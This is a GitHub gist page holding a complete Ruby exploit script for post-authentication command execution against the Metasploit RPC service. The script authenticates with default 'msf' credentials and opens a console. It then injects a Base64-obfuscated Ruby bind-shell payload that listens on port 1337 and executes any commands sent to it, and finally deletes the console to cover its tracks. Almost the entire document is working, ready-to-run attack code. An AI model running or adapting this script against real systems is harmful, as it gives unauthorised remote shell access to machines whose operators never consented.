Skip to content

Instantly share code, notes, and snippets.

@bcoles
Created July 5, 2017 14:55
Show Gist options
  • Save bcoles/dd1af28c923191e978cd283013ce38ac to your computer and use it in GitHub Desktop.
Save bcoles/dd1af28c923191e978cd283013ce38ac to your computer and use it in GitHub Desktop.
Metasploit RPC post-auth command execution exploit
#!/usr/bin/env ruby
################################################################################
# Metasploit RPC post-auth command execution exploit #
################################################################################
# ~ bcoles
require 'msfrpc-client' # gem install msfrpc-client
require 'base64'
@host = '127.0.0.1'
@port = '55552'
@user = 'msf'
@pass = 'msf'
@ssl = true
@bind_port = 1337
def main
connect
get_version
create_console
execute
cleanup
puts
puts "+ Done! You should now have a shell on #{@host}:#{@bind_port}"
end
def connect
puts "* Connecting to #{@host}:#{@port}#{@ssl ? ' (SSL)' : ''}..."
begin
@rpc = Msf::RPC::Client.new :host => @host,
:port => @port,
:user => @user,
:pass => @pass,
:ssl => @ssl
rescue => e
puts '- Error: connection failed:'
puts e.to_s
exit 1
end
puts '+ Connected successfully'
if @rpc.token.nil?
puts '- Error: authentication failed'
exit 1
end
@token = @rpc.token
puts '+ Authenticated successfully'
puts "* Received temporary token: #{@token}"
puts
end
def get_version
version = @rpc.call 'core.version'
puts '--- Server:'
puts "* Metasploit #{version['version']}"
puts "* Ruby #{version['ruby']}"
puts "* API #{version['api']}"
puts
end
def create_console
res = @rpc.call 'console.create'
if res.nil?
puts '- Error: connection failed'
exit 1
end
unless res['id'].to_s =~ /\A\d+\z/
puts '- Error: could not create console'
puts res.to_s
exit 1
end
@console_id = res['id']
puts "+ Created console ##{@console_id}"
end
def execute
puts '* Sending payload...'
res = @rpc.call 'console.write', @console_id, "\r\n#{payload}\r\n"
if res.nil?
puts '- Error: connection failed'
exit 1
end
unless res['wrote'].to_s =~ /\A\d+\z/
puts "- Error: could not write to console #{@console_id}:"
puts res.to_s
exit 1
end
puts "+ Wrote #{res['wrote']} bytes to console"
end
def payload
bind_tcp = "code = %(#{Base64.strict_encode64("require 'socket';s=TCPServer.new(#{@bind_port});c=s.accept;s.close;$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;(IO.popen(l,'rb'){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }")}).unpack(%(m0)).first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen(%(ruby), %(wb)) rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end"
"ruby -e 'eval(%[#{Base64.strict_encode64(bind_tcp)}].unpack(%[m0]).first)'"
end
def cleanup
puts '* Removing console...'
res = @rpc.call 'console.destroy', @console_id
if res.nil?
puts '- Error: connection failed'
end
unless res['result'].eql? 'success'
puts "- Error: could not destroy console ##{@console_id}:"
puts res.to_s
exit 1
end
puts "+ Destroyed console ##{@console_id}"
end
puts 'Metasploit RPC post-auth command execution exploit'
puts
main
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment